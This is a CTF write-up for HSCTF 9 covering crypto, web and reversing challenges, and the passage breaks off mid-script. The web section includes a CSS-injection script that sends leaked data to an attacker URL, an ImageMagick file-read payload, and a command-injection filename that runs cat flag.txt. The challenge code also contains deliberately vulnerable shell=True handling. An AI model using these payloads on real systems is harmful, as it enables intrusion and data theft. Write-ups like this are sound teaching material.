HSCTF 9 Writeup

Sat Jun 11 2022

    I participated HSCTF 9 by myself. The results were 16th/805.

    Here are my write-ups for challs I solved. Since there are many challs, I only write for ones solved by lower than 100.

    crypto

    baby-rsa

    28 solves

    baby-rsa.py
    from Crypto.Util.number import *
    import random
    import itertools
    flag = open('flag.txt','rb').read()
    pt = bytes_to_long(flag)
    p,q = getPrime(512),getPrime(512)
    n = p*q
    a = random.randint(0,2**512)
    b = random.randint(0,a)
    c = random.randint(0,b)
    d = random.randint(0,c)
    e = random.randint(0,d)
    f = 0x10001
    g = [[-a,0,a],[-b,0,b],[-c,0,c],[-d,0,d],[-e,0,e]]
    h = list(pow(sum(_),p,n) for _ in itertools.product(*g))
    random.shuffle(h)
    print(h[0:len(h)//2])
    print(n)
    print(pow(pt,f,n))

    When xp=amodn,yp=bmodnx^p = a \mod n, y^p = b \mod n, (x+y)p=xp+pxp1y++xyp1+yp=a+b+p()modn(x + y)^p = x^p + px^{p-1}y + \cdots + xy^{p-1} + y^p = a + b + p(\cdots) \mod n. This means that (x+y)pxpyp=0modp(x + y)^p - x^p - y^p = 0 \mod p. When we pick up three of h there is a possibility that these are a pair like xp,yp,(x+y)px^p, y^p, (x + y)^p. If we can find two of this type of pair, pp is found by gcd of (x+y)pxpyp(x + y)^p - x^p - y^p.

    solve.py
    sum_cands = []
    for h0, h1 in combinations(h, r=2):
        sum_cands.append(h0 + h1)
    
    multi_p_cands = []
    for c0, c1 in product(sum_cands, h):
        multi_p_cands.append(c0 - c1)
    
    for kp0, kp1 in combinations(multi_p_cands[:4000], r=2):
        tmp = gcd(int(kp0), int(kp1))
        if 400 < int(tmp).bit_length() < 600:
            print(tmp)
            p = tmp
    
    # p = 8232743274837446463598254637051161045911091397541451296000991485083369905136689783513169363218917147263240294508530778763390359497242952090254975434412391
    assert n % p == 0
    q = n // p
    e = 0x10001
    d = int(pow(e, -1, (p - 1) * (q - 1)))
    print(long_to_bytes(int(pow(ct, d, n))))

    flag{sometimes_you_just_want_to_make_long_flags_because_you_want_to_and_also_because_you_dont_know_what_else_you_can_put_here}

    homophones

    32 solves

    ct.txt
    SDFBE1X38 ILNVP 6RTC HXYUKLM 82ZH NVL JBE4CG 9A D5HE
    7WJZH5. QZAC U2GI T6 0F! ORWH5 97 T1AXYZ6FUE L2 VT8
    8XZ VKUY 15 T1UF CN JHTJI 6R9P JK4R5B.
    

    As the chall title or description implies, this is a Homophonic Substitution Cipher. I have nothing to say about this type of crypto chall... I used this site to find a possible word and take a trial and error. The final result is as follows.

    Everybody knows that rolling your own crypto is very
    secure. Just look at me! There is absolutely no way
    you will be able to crack this cipher.
    

    flag{1c9ea7b792ebb677aeefe01d4a862b47}

    otp

    88 solves

    source.py
    import random
    from Crypto.Util.number import bytes_to_long
    
    def secure_seed():
    	x = 0
    	# x is a random integer between 0 and 100000000000
    	for i in range(10000000000):
    		x += random.randint(0, random.randint(0, 10))
    	return x
    
    flag = open('flag.txt','rb').read()
    flag = bytes_to_long(flag)
    
    random.seed(secure_seed())
    
    l = len(bin(flag)) - 1
    print(l)
    
    k = random.getrandbits(l)
    flag = flag ^ k # super secure encryption
    print(flag)

    The result of secure_seed() should statistically convergent to a certain value. I checked the result of it by replacing 10000000000 with doable size and found that it convegents to 2.5N2.5N.

    solve.py
    import random
    
    l = 328
    enc = 444466166004822947723119817789495250410386698442581656332222628158680136313528100177866881816893557
    
    N = 10000000000
    M = int(N * 2.5)
    for i in range(-1000000, 1000000):
        random.seed(M + i)
        k = random.getrandbits(l)
        flag = long_to_bytes(enc ^^ k)
        if b"flag" in flag:
            print(flag)

    flag{c3ntr4l_l1m1t_th30r3m_15431008597}

    web

    markdown-plus-plus

    30 solves

    The main part of this chall is in display.js.

    display.js
    let i = 0;
    function generate_id() {
    	return "id" + i++;
    }
    function parse(markdown) {
    	//TODO implement per-element custom styles
    	let stylesheet = [];
    	let tree = document.createDocumentFragment();
    	while (markdown.length > 0) {
    		let node = document.createElement("span");
    		let id = generate_id();
    		node.id = id;
    
    		let parsed,
    			style = "",
    			sub_stylesheet = [];
    
    		if (markdown.startsWith("[b ")) {
    			// bold
    			style = "font-weight: bold";
    
    			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
    		} else if (markdown.startsWith("[i ")) {
    			// italics
    			style = "font-style: italic";
    
    			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
    		} else if (markdown.startsWith("[` ")) {
    			// code
    			style = `background-color: #eee;
    			border-radius: 3px;
    			font-family: monospace;
    			padding: 0 3px;`;
    
    			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
    		} else if (markdown.startsWith("[u ")) {
    			// underline
    			style = "text-decoration: underline";
    
    			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
    		} else if (markdown.startsWith("[s ")) {
    			// strikethrough
    			style = "text-decoration: line-through";
    
    			[parsed, markdown, sub_stylesheet] = parse(markdown.substring(3));
    		} else if (markdown.startsWith("[c=")) {
    			// color
    			markdown = markdown.substring(3);
    
    			let arr = markdown.split(" ");
    			let color = arr.shift();
    			markdown = arr.join(" ");
    			style = "color:" + color;
    
    			[parsed, markdown, sub_stylesheet] = parse(markdown);
    		} else if (markdown.startsWith("[h=")) {
    			// highlight
    			markdown = markdown.substring(3);
    
    			let arr = markdown.split(" ");
    			let color = arr.shift();
    			markdown = arr.join(" ");
    			style = "background-color:" + color;
    
    			[parsed, markdown, sub_stylesheet] = parse(markdown);
    		} else if (markdown.startsWith("[a=")) {
    			// links
    			markdown = markdown.substring(3);
    
    			parsed = document.createElement("a");
    			let arr = markdown.split(" ");
    			let href = arr.shift();
    			markdown = arr.join(" ");
    			parsed.href = href;
    
    			let content;
    			[content, markdown, sub_stylesheet] = parse(markdown);
    			parsed.append(content);
    		} else if (markdown.startsWith("]")) {
    			// end tag
    			return [tree, markdown.substring(1), stylesheet];
    		} else {
    			// match up to the next unescaped [ or ]
    			var [_, text, markdown] = markdown.match(/^((?:(?![^\\][[\]]).)*.?)(.*)/);
    			parsed = document.createTextNode(text);
    		}
    
    		node.append(parsed);
    		stylesheet.push(`${id}{${style};}`);
    		stylesheet.push(...sub_stylesheet);
    		tree.append(node);
    	}
    	return [tree, "", stylesheet];
    }
    
    function display() {
    	let markdown = atob(location.hash.substring(1));
    
    	let [el, _, stylesheet] = parse(markdown);
    
    	document.getElementById("root").appendChild(el);
    
    	let style = document.createElement("style");
    	style.textContent = stylesheet.join("\n");
    	document.head.appendChild(style);
    }
    display();

    We can easily find that we can cause CSS injection by [c= notation. When the input is [c=red ...], the style results in <style>#id1{color:red;}</style>. Therefore if we input [c=red;}hoge{...}#id1{color:blue ...], the result is <style>#id1{color:red;}hoge{...}#id1{color:blue;}</style>. This type of CSS injection can leak attributes of tag by tag[attribute^='f']{background-image:url(MYURL)}. The CSS requests MYURL only when the attribute of tag starts with f. I referred to this blog. I guessed that the flag (or something secret) was hidden in login name. This exists in placeholder of input. I leaked the flag char by char by running the script following and seeing the request.

    solve.py
    import requests
    import string
    
    name = "flag{"
    payload = "[c=red;}"
    for i in range(33, 127):
        c = chr(i)
        if c not in string.ascii_letters + string.digits + "_}":
            continue
        if c in "\\":
            continue
        query = name + c
        if c == "'":
            c = "\\'"
            query = name + "'"
        print(c)
        payload += f"input[placeholder^='{name+c}']{{background-image:url(MYURL?q={query});}}"
    payload += "#id1{color:blue hoge]"
    base_url = "http://web1.hsctf.com:8002/display"
    payload_url = base_url + "#" + b64encode(payload.encode()).decode()
    
    post_url = "http://web1.hsctf.com:8000/markdown-plus-plus"
    r = requests.post(post_url, data={"url": payload_url}, headers={"Content-Type": "application/x-www-form-urlencoded"})

    flag{waterfall_bfutsftfejpk}

    png-wizard-v2

    57 solves

    main.py
    #!/usr/bin/env python3
    import itertools
    import os
    import subprocess
    import sys
    from pathlib import Path
    
    import flask
    from flask import Flask, abort, redirect, render_template, request
    from flask.helpers import url_for
    from flask.wrappers import Response
    
    UPLOAD_FOLDER = '/upload'
    
    app = Flask(__name__)
    app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
    app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024  # 1 MB
    
    def rand_name():
    	return os.urandom(16).hex()
    
    def is_valid_extension(filename: Path):
    	return (
    		filename.suffix.lower().lstrip(".")
    		in ("gif", "jpg", "jpeg", "png", "tiff", "tif", "ico", "bmp", "ppm")
    	)
    
    @app.route("/", methods=["GET"])
    def get():
    	return render_template("index.html")
    
    @app.route("/", methods=["POST"])
    def post():
    	if "file" not in request.files:
    		return render_template("index.html", error="No file provided")
    	file = request.files["file"]
    	if not file.filename:
    		return render_template("index.html", error="No file provided")
    	if len(file.filename) > 64:
    		return render_template("index.html", error="Filename too long")
    	
    	filename = Path(UPLOAD_FOLDER).joinpath("a").with_name(rand_name() + Path(file.filename).suffix)
    	if not is_valid_extension(filename):
    		return render_template("index.html", error="Invalid extension")
    	
    	file.save(filename)
    	
    	new_name = filename.with_name(rand_name() + ".png")
    	
    	try:
    		subprocess.run(
    			["convert", filename, new_name],
    			check=True,
    			stderr=subprocess.PIPE,
    			timeout=5,
    			env={},
    			executable="/usr/local/bin/shell"
    		)
    	except subprocess.TimeoutExpired:
    		return render_template("index.html", error="Command timed out")
    	except subprocess.CalledProcessError as e:
    		return render_template(
    			"index.html",
    			error=f"Error converting file: {e.stderr.decode('utf-8',errors='ignore')}"
    		)
    	finally:
    		filename.unlink()
    	
    	return redirect(url_for("converted_file", filename=new_name.name))
    
    @app.route('/converted/<filename>')
    def converted_file(filename):
    	path = Path(UPLOAD_FOLDER).joinpath("a").with_name(filename)
    	if not path.exists():
    		# imagemagick sometimes generates multiple images depending on the src image
    		oldpath = path
    		path = oldpath.with_name(f"{oldpath.stem}-0{oldpath.suffix}")
    		if path.exists():
    			for i in itertools.count(1):
    				path2 = oldpath.with_name(f"{oldpath.stem}-{i}{oldpath.suffix}")
    				if not path2.exists():
    					break
    				path2.unlink()
    		else:
    			abort(404)
    	
    	def generate():
    		with path.open("rb") as f:
    			yield from f
    		path.unlink()
    	
    	return Response(generate(), mimetype="image/png")
    
    @app.route("/version")
    def version():
    	python_version = sys.version
    	flask_version = flask.__version__
    	magick_version = subprocess.run(["convert", "-version"], check=False,
    		stdout=subprocess.PIPE).stdout.decode()
    	
    	return render_template(
    		"version.html",
    		python_version=python_version,
    		flask_version=flask_version,
    		magick_version=magick_version
    	)
    
    if __name__ == "__main__":
    	app.run()

    The chall description implies that ImageMagick is old. The version can be checked in /version and is 6.8.9-9. I checked CVE for this version and found that CVE-2016-3717. This causes LFI. I referred to this article.

    I uploaded the file below and the flag appeared on the image.

    exploit.png
    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'label:@flag.txt'
    pop graphic-context
    

    flag{did_you_ever_hear_the_tragedy_of_darth_imagemagick_the_wise_6889108}

    png-wizard

    96 solves

    main.py
    #!/usr/bin/env python3
    import itertools
    import os
    import subprocess
    import sys
    from pathlib import Path
    
    import flask
    from flask import Flask, abort, redirect, render_template, request
    from flask.helpers import url_for
    from flask.wrappers import Response
    
    UPLOAD_FOLDER = '/upload'
    
    app = Flask(__name__)
    app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
    app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024  # 1 MB
    
    def rand_name():
    	return os.urandom(16).hex()
    
    def is_valid_extension(filename: Path):
    	return (
    		filename.suffix.lower().lstrip(".")
    		in ("gif", "jpg", "jpeg", "png", "tiff", "tif", "ico", "bmp", "ppm")
    	)
    
    @app.route("/", methods=["GET"])
    def get():
    	return render_template("index.html")
    
    @app.route("/", methods=["POST"])
    def post():
    	if "file" not in request.files:
    		return render_template("index.html", error="No file provided")
    	file = request.files["file"]
    	if not file.filename:
    		return render_template("index.html", error="No file provided")
    	if len(file.filename) > 64:
    		return render_template("index.html", error="Filename too long")
    	
    	filename = Path(UPLOAD_FOLDER).joinpath("a").with_name(file.filename)
    	if not is_valid_extension(filename):
    		return render_template("index.html", error="Invalid extension")
    	
    	file.save(filename)
    	
    	new_name = filename.with_name(rand_name() + ".png")
    	
    	try:
    		subprocess.run(
    			f"convert '{filename}' '{new_name}'",
    			shell=True,
    			check=True,
    			stderr=subprocess.PIPE,
    			timeout=5,
    			env={},
    			executable="/usr/local/bin/shell"
    		)
    	except subprocess.TimeoutExpired:
    		return render_template("index.html", error="Command timed out")
    	except subprocess.CalledProcessError as e:
    		return render_template(
    			"index.html",
    			error=f"Error converting file: {e.stderr.decode('utf-8',errors='ignore')}"
    		)
    	finally:
    		filename.unlink()
    	
    	return redirect(url_for("converted_file", filename=new_name.name))
    
    @app.route('/converted/<filename>')
    def converted_file(filename):
    	path = Path(UPLOAD_FOLDER).joinpath("a").with_name(filename)
    	if not path.exists():
    		# imagemagick sometimes generates multiple images depending on the src image
    		oldpath = path
    		path = oldpath.with_name(f"{oldpath.stem}-0{oldpath.suffix}")
    		if path.exists():
    			for i in itertools.count(1):
    				path2 = oldpath.with_name(f"{oldpath.stem}-{i}{oldpath.suffix}")
    				if not path2.exists():
    					break
    				path2.unlink()
    		else:
    			abort(404)
    	
    	def generate():
    		with path.open("rb") as f:
    			yield from f
    		path.unlink()
    	
    	return Response(generate(), mimetype="image/png")
    
    @app.route("/version")
    def version():
    	python_version = sys.version
    	flask_version = str(flask.__version__)
    	magick_version = subprocess.run(
    		"convert -version", shell=True, check=False, stdout=subprocess.PIPE
    	).stdout.decode()
    	
    	return render_template(
    		"version.html",
    		python_version=python_version,
    		flask_version=flask_version,
    		magick_version=magick_version
    	)
    
    if __name__ == "__main__":
    	app.run()

    I first checked the version of something in /version but couldn't find useful CVE. The vulnerability is in python's subprocess.run (you can easily find by seeing diff of this chall and v2).

    		subprocess.run(
    			f"convert '{filename}' '{new_name}'",
    			shell=True,
    			check=True,
    			stderr=subprocess.PIPE,
    			timeout=5,
    			env={},
    			executable="/usr/local/bin/shell"
    		)

    Since shell=True, we can cause OS command injection by crafting filename. I modified filename into filename="*'cat flag.txt 'hoge';#'.png". This being uploaded, the flag shows up in error message.

    flag{mary_anning_d1d352e0}

    reversing

    eunectes-murinus

    68 solves

    We are given .pyc file. Since the version of this .pyc file is 3.9, we cannot use Uncompyle6. I used pycdc instead.

    But the result of pycdc went something wrong.

    # Source Generated with Decompyle++
    # File: eunectes-murinus.pyc (Python 3.9)
    
    
    def fun():
        (x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x50, x51, x52, x53, x54, x55, x56, x57) = input('flag?\n').encode()
        if x50 * 8 * (x9 - 4) * (x24 + 4) != 9711352:
            return print('Failed')
        if x54 * 7 * (x13 - 3) * (x35 + 3) != 3764768:
            return print('Failed')
        if x57 * 2 * (x45 - 8) * (x19 + 1) != 1248000:
            return print('Failed')
        if x41 * 7 * (x35 - 2) * (x11 + 5) != 7452648:
            return print('Failed')
        if x25 * 1 * (x27 - 7) * (x3 + 7) != 1013650:
            return print('Failed')
        if x54 * 9 * (x41 - 5) * (x31 + 6) != 4860261:
            return print('Failed')
        if x12 * 3 * (x24 - 6) * (x50 + 4) != 3261825:
            return print('Failed')
        if x23 * 7 * (x19 - 4) * (x8 + 9) != 8149680:
            return print('Failed')
        if x39 * 7 * (x50 - 4) * (x56 + 1) != 7864857:
            return print('Failed')
        if x45 * 5 * (x56 - 8) * (x57 + 5) != 3276000:
            return print('Failed')
        if x7 * 9 * (x47 - 9) * (x23 + 1) != 4164210:
            return print('Failed')
        if x20 * 7 * (x43 - 2) * (x5 + 5) != 8704850:
            return print('Failed')
        if x45 * 6 * (x52 - 1) * (x45 + 8) != 1032192:
            return print('Failed')
        if x46 * 8 * (allanite - 9) * (kurnakovite + 4) != 3647952:
            return print('Failed')
        (kurnakovite = x32, x44, covellite = x44)
        if pyrophanite * 5 * (kurnakovite - 7) * (covellite + 1) != 5339520:
            return print('Failed')
        (akimotoite = x33, x9, kurnakovite = x9)
        if covellite * 6 * (akimotoite - 4) * (kurnakovite + 1) != 6170472:
            return print('Failed')
        (allanite = x42, x4, covellite = x4)
        if kurnakovite * 1 * (allanite - 1) * (covellite + 7) != 1502280:
            return print('Failed')
        (covellite = x54, x1, aerinite = x1)
        if chalcocite * 7 * (covellite - 3) * (aerinite + 2) != 3364900:
            return print('Failed')
        (kurnakovite = x24, x45, clinohumite = x45)
        if akimotoite * 9 * (kurnakovite - 3) * (clinohumite + 9) != 6748560:
            return print('Failed')
        (akimotoite = x43, x8, allanite = x8)
        if clinohumite * 9 * (akimotoite - 9) * (allanite + 7) != 12196800:
            return print('Failed')
        (fayalite = x35, x47, akimotoite = x47)
        if halloysite * 6 * (fayalite - 7) * (akimotoite + 7) != 3124176:
            return print('Failed')
        (fayalite = x3, x18, covellite = x18)
        if pyrophanite * 6 * (fayalite - 7) * (covellite + 2) != 6128640:
            return print('Failed')
        (allanite = x30, x0, chalcocite = x0)
        if akimotoite * 2 * (allanite - 4) * (chalcocite + 6) != 2268864:
            return print('Failed')
        (pyrophanite = x21, x25, fayalite = x25)
        if clinohumite * 4 * (pyrophanite - 6) * (fayalite + 5) != 5192000:
            return print('Failed')
        (halloysite = x39, x46, fayalite = x46)
        if chalcocite * 9 * (halloysite - 6) * (fayalite + 8) != 11118870:
            return print('Failed')
        (allanite = x46, x6, kurnakovite = x6)
        if pyrophanite * 8 * (allanite - 4) * (kurnakovite + 2) != 8096784:
            return print('Failed')
        (halloysite = x45, x19, aerinite = x19)
        if kurnakovite * 3 * (halloysite - 9) * (aerinite + 6) != 1552269:
            return print('Failed')
        (pyrophanite = x22, x31, clinohumite = x31)
        if akimotoite * 7 * (pyrophanite - 6) * (clinohumite + 3) != 3495856:
            return print('Failed')
        (chalcocite = x32, x30, kurnakovite = x30)
        if aerinite * 8 * (chalcocite - 3) * (kurnakovite + 7) != 9647120:
            return print('Failed')
        (akimotoite = x40, x32, covellite = x32)
        if pyrophanite * 6 * (akimotoite - 7) * (covellite + 3) != 5918940:
            return print('Failed')
        (covellite = x57, x50, fayalite = x50)
        if pyrophanite * 5 * (covellite - 4) * (fayalite + 3) != 7235800:
            return print('Failed')
        (allanite = x25, x17, akimotoite = x17)
        if fayalite * 3 * (allanite - 3) * (akimotoite + 8) != 3025236:
            return print('Failed')
        (pyrophanite = x37, x51, fayalite = x51)
        if covellite * 9 * (pyrophanite - 6) * (fayalite + 2) != 4297293:
            return print('Failed')
        (chalcocite = x25, x4, halloysite = x4)
        if clinohumite * 2 * (chalcocite - 1) * (halloysite + 7) != 2639520:
            return print('Failed')
        (halloysite = x8, x20, pyrophanite = x20)
        if aerinite * 7 * (halloysite - 1) * (pyrophanite + 1) != 7402752:
            return print('Failed')
        (pyrophanite = x38, x35, halloysite = x35)
        if covellite * 6 * (pyrophanite - 5) * (halloysite + 2) != 3299940:
            return print('Failed')
        (chalcocite = x34, x19, covellite = x19)
        if akimotoite * 1 * (chalcocite - 2) * (covellite + 2) != 1226610:
            return print('Failed')
        (fayalite = x10, x44, halloysite = x44)
        if covellite * 2 * (fayalite - 2) * (halloysite + 6) != 2203416:
            return print('Failed')
        (kurnakovite = x15, x40, clinohumite = x40)
        if akimotoite * 7 * (kurnakovite - 2) * (clinohumite + 1) != 7126168:
            return print('Failed')
        (halloysite = x47, x57, chalcocite = x57)
        if kurnakovite * 5 * (halloysite - 2) * (chalcocite + 9) != 3797560:
            return print('Failed')
        (kurnakovite = x24, x42, chalcocite = x42)
        if halloysite * 2 * (kurnakovite - 7) * (chalcocite + 8) != 2931552:
            return print('Failed')
        (halloysite = x24, x0, allanite = x0)
        if clinohumite * 6 * (halloysite - 6) * (allanite + 3) != 7210350:
            return print('Failed')
        (chalcocite = x39, x39, clinohumite = x39)
        if halloysite * 6 * (chalcocite - 5) * (clinohumite + 3) != 9515520:
            return print('Failed')
        (kurnakovite = x13, x53, halloysite = x53)
        if akimotoite * 4 * (kurnakovite - 5) * (halloysite + 6) != 4667520:
            return print('Failed')
        (akimotoite = x15, x24, halloysite = x24)
        if kurnakovite * 4 * (akimotoite - 3) * (halloysite + 2) != 4766580:
            return print('Failed')
        (fayalite = x42, x32, clinohumite = x32)
        if kurnakovite * 4 * (fayalite - 4) * (clinohumite + 2) != 4752384:
            return print('Failed')
        (akimotoite = x21, x12, aerinite = x12)
        if pyrophanite * 7 * (akimotoite - 6) * (aerinite + 8) != 8724100:
            return print('Failed')
        (kurnakovite = x6, x26, chalcocite = x26)
        if aerinite * 6 * (kurnakovite - 3) * (chalcocite + 4) != 7598928:
            return print('Failed')
        (chalcocite = x18, x30, halloysite = x30)
        if pyrophanite * 9 * (chalcocite - 7) * (halloysite + 7) != 11513340:
            return print('Failed')
        (clinohumite = x43, x13, kurnakovite = x13)
        if halloysite * 2 * (clinohumite - 4) * (kurnakovite + 9) != 2756520:
            return print('Failed')
        (clinohumite = x26, x55, aerinite = x55)
        if kurnakovite * 3 * (clinohumite - 2) * (aerinite + 5) != 3480360:
            return print('Failed')
        (chalcocite = x20, x55, pyrophanite = x55)
        if aerinite * 9 * (chalcocite - 7) * (pyrophanite + 8) != 9152352:
            return print('Failed')
        (kurnakovite = x26, x35, fayalite = x35)
        if pyrophanite * 6 * (kurnakovite - 2) * (fayalite + 5) != 5703600:
            return print('Failed')
        (pyrophanite = x27, x37, kurnakovite = x37)
        if aerinite * 8 * (pyrophanite - 6) * (kurnakovite + 9) != 4238304:
            return print('Failed')
        (clinohumite = x0, x42, akimotoite = x42)
        if kurnakovite * 7 * (clinohumite - 7) * (akimotoite + 5) != 7364210:
            return print('Failed')
        (aerinite = x5, x56, pyrophanite = x56)
        if allanite * 8 * (aerinite - 4) * (pyrophanite + 7) != 9332400:
            return print('Failed')
        (clinohumite = x2, x32, covellite = x32)
        if allanite * 1 * (clinohumite - 5) * (covellite + 4) != 513912:
            return print('Failed')
        (fayalite = x6, x13, aerinite = x13)
        if clinohumite * 3 * (fayalite - 7) * (aerinite + 4) != 4187610:
            return print('Failed')
        (pyrophanite = x46, x36, aerinite = x36)
        if kurnakovite * 6 * (pyrophanite - 6) * (aerinite + 7) != 6723360:
            return print('Failed')
        (aerinite = x14, x32, kurnakovite = x32)
        if pyrophanite * 5 * (aerinite - 8) * (kurnakovite + 2) != 6287120:
            return print('Failed')
        (fayalite = x9, x42, halloysite = x42)
        if akimotoite * 5 * (fayalite - 3) * (halloysite + 5) != 5820630:
            return print('Failed')
        (covellite = x54, x16, clinohumite = x16)
        if aerinite * 1 * (covellite - 8) * (clinohumite + 3) != 267894:
            return print('Failed')
        (clinohumite = x56, x43, pyrophanite = x43)
        if allanite * 5 * (clinohumite - 7) * (pyrophanite + 5) != 5790330:
            return print('Failed')
        (clinohumite = x49, x16, covellite = x16)
        if chalcocite * 6 * (clinohumite - 6) * (covellite + 6) != 3856896:
            return print('Failed')
        (pyrophanite = x0, x22, akimotoite = x22)
        if allanite * 9 * (pyrophanite - 6) * (akimotoite + 3) != 8967456:
            return print('Failed')
        (kurnakovite = x57, x14, fayalite = x14)
        if covellite * 6 * (kurnakovite - 3) * (fayalite + 3) != 4088952:
            return print('Failed')
        (allanite = x28, x37, covellite = x37)
        if clinohumite * 2 * (allanite - 4) * (covellite + 6) != 2394750:
            return print('Failed')
        (allanite = x51, x3, pyrophanite = x3)
        if akimotoite * 9 * (allanite - 2) * (pyrophanite + 2) != 5000940:
            return print('Failed')
        (covellite = x11, x17, chalcocite = x17)
        if pyrophanite * 2 * (covellite - 8) * (chalcocite + 5) != 2127840:
            return print('Failed')
        (clinohumite = x28, x56, halloysite = x56)
        if allanite * 7 * (clinohumite - 6) * (halloysite + 7) != 7290465:
            return print('Failed')
        (kurnakovite = x9, x30, allanite = x30)
        if halloysite * 1 * (kurnakovite - 5) * (allanite + 1) != 1362500:
            return print('Failed')
        (fayalite = x28, x50, aerinite = x50)
        if covellite * 7 * (fayalite - 9) * (aerinite + 9) != 7114800:
            return print('Failed')
        (clinohumite = x24, x29, akimotoite = x29)
        if covellite * 8 * (clinohumite - 9) * (akimotoite + 7) != 10142080:
            return print('Failed')
        (pyrophanite = x21, x36, covellite = x36)
        if chalcocite * 1 * (pyrophanite - 8) * (covellite + 4) != 1232604:
            return print('Failed')
        (allanite = x48, x5, aerinite = x5)
        if kurnakovite * 5 * (allanite - 8) * (aerinite + 9) != 2585520:
            return print('Failed')
        (akimotoite = x11, x9, clinohumite = x9)
        if kurnakovite * 6 * (akimotoite - 4) * (clinohumite + 7) != 7105056:
            return print('Failed')
        (kurnakovite = x14, x11, covellite = x11)
        if fayalite * 3 * (kurnakovite - 1) * (covellite + 4) != 3534300:
            return print('Failed')
        (halloysite = x9, x22, covellite = x22)
        if aerinite * 8 * (halloysite - 4) * (covellite + 7) != 10583184:
            return print('Failed')
        (pyrophanite = x28, x19, kurnakovite = x19)
        if chalcocite * 5 * (pyrophanite - 6) * (kurnakovite + 9) != 2751840:
            return print('Failed')
        (pyrophanite = x27, x16, akimotoite = x16)
        if halloysite * 1 * (pyrophanite - 1) * (akimotoite + 2) != 1211280:
            return print('Failed')
        (allanite = x34, x43, chalcocite = x43)
        if halloysite * 3 * (allanite - 6) * (chalcocite + 2) != 3785940:
            return print('Failed')
        (allanite = x45, x56, aerinite = x56)
        if akimotoite * 5 * (allanite - 5) * (aerinite + 7) != 2784600:
            return print('Failed')
        (chalcocite = x52, x8, fayalite = x8)
        if kurnakovite * 4 * (chalcocite - 3) * (fayalite + 7) != 1983520:
            return print('Failed')
        (akimotoite = x45, x5, chalcocite = x5)
        if halloysite * 8 * (akimotoite - 7) * (chalcocite + 7) != 4522112:
            return print('Failed')
        (fayalite = x8, x44, clinohumite = x44)
        if chalcocite * 6 * (fayalite - 4) * (clinohumite + 9) != 5868720:
            return print('Failed')
        (clinohumite = x1, x6, fayalite = x6)
        if chalcocite * 1 * (clinohumite - 9) * (fayalite + 3) != 1086624:
            return print('Failed')
        (halloysite = x2, x16, akimotoite = x16)
        if aerinite * 7 * (halloysite - 8) * (akimotoite + 7) != 8488375:
            return print('Failed')
        (aerinite = x42, x41, fayalite = x41)
        if pyrophanite * 8 * (aerinite - 4) * (fayalite + 8) != 11388416:
            return print('Failed')
        (clinohumite = x50, x11, covellite = x11)
        if fayalite * 1 * (clinohumite - 6) * (covellite + 8) != 1118340:
            return print('Failed')
        (covellite = x43, x2, kurnakovite = x2)
        if fayalite * 8 * (covellite - 1) * (kurnakovite + 2) != 9789120:
            return print('Failed')
        (covellite = x25, x54, clinohumite = x54)
        if pyrophanite * 3 * (covellite - 3) * (clinohumite + 2) != 1435752:
            return print('Failed')
        (allanite = x34, x48, pyrophanite = x48)
        if chalcocite * 3 * (allanite - 8) * (pyrophanite + 6) != 1484280:
            return print('Failed')
        (aerinite = x19, x7, kurnakovite = x7)
        if allanite * 4 * (aerinite - 5) * (kurnakovite + 7) != 4688320:
            return print('Failed')
        (covellite = x15, x52, clinohumite = x52)
        if allanite * 2 * (covellite - 8) * (clinohumite + 1) != 500000:
            return print('Failed')
        (chalcocite = x30, x4, pyrophanite = x4)
        if akimotoite * 9 * (chalcocite - 4) * (pyrophanite + 7) != 11559600:
            return print('Failed')
        (covellite = x44, x14, aerinite = x14)
        if fayalite * 9 * (covellite - 6) * (aerinite + 5) != 10034928:
            return print('Failed')
        (halloysite = x7, x53, kurnakovite = x53)
        if fayalite * 2 * (halloysite - 7) * (kurnakovite + 5) != 2039400:
            return print('Failed')
        (aerinite = x43, x19, pyrophanite = x19)
        if fayalite * 9 * (aerinite - 9) * (pyrophanite + 3) != 10577952:
            return print('Failed')
        (fayalite = x48, x10, aerinite = x10)
        if pyrophanite * 4 * (fayalite - 5) * (aerinite + 9) != 2099160:
            return print('Failed')
        (covellite = x32, x18, akimotoite = x18)
        if pyrophanite * 8 * (covellite - 3) * (akimotoite + 4) != 9270480:
            return print('Failed')
        return x32('Success')
    
    fun()

    On the other hand pycdas seems work correctly. So I looked into disas of .pyc.

                    128     LOAD_FAST               50: x50
                    130     DUP_TOP                 
                    132     STORE_FAST              58: akimotoite
                    134     LOAD_FAST               9: x9
                    136     DUP_TOP                 
                    138     STORE_FAST              59: covellite
                    140     LOAD_FAST               24: x24
                    142     DUP_TOP                 
                    144     STORE_FAST              60: halloysite
                    146     BUILD_TUPLE             3
                    148     POP_TOP                 
                    150     LOAD_FAST               58: akimotoite
                    152     LOAD_CONST              2: 8
                    154     BINARY_MULTIPLY         
                    156     LOAD_FAST               59: covellite
                    158     LOAD_CONST              3: 4
                    160     BINARY_SUBTRACT         
                    162     BINARY_MULTIPLY         
                    164     LOAD_FAST               60: halloysite
                    166     LOAD_CONST              3: 4
                    168     BINARY_ADD              
                    170     BINARY_MULTIPLY         
                    172     LOAD_CONST              4: 9711352
                    174     COMPARE_OP              3 (!=)
                    176     POP_JUMP_IF_FALSE       186
                    178     LOAD_GLOBAL             2: print
                    180     LOAD_CONST              5: 'Failed'
                    182     CALL_FUNCTION           1
                    184     RETURN_VALUE            
    

    In the program this structure exists repeatedly. So I parsed disas result and solve x by z3.

    solve.py
    import re
    from z3 import *
    
    with open("/home/y011d4/hsctf/rev/eunectes_murinus/disas", "r") as fp:
        buf = fp.read()
    
    x = [Int(f"x{i}") for i in range(58)]
    x = [BitVec(f"x{i}", 24) for i in range(58)]
    xs = list(map(lambda x: f"x[{x}]", re.findall(r"LOAD_FAST.*x([0-9]*)", buf)))
    consts = list(filter(lambda x: len(x) > 0, re.findall(r"LOAD_CONST.*: ([0-9]*)", buf)))
    s = Solver()
    for i in range(len(x)):
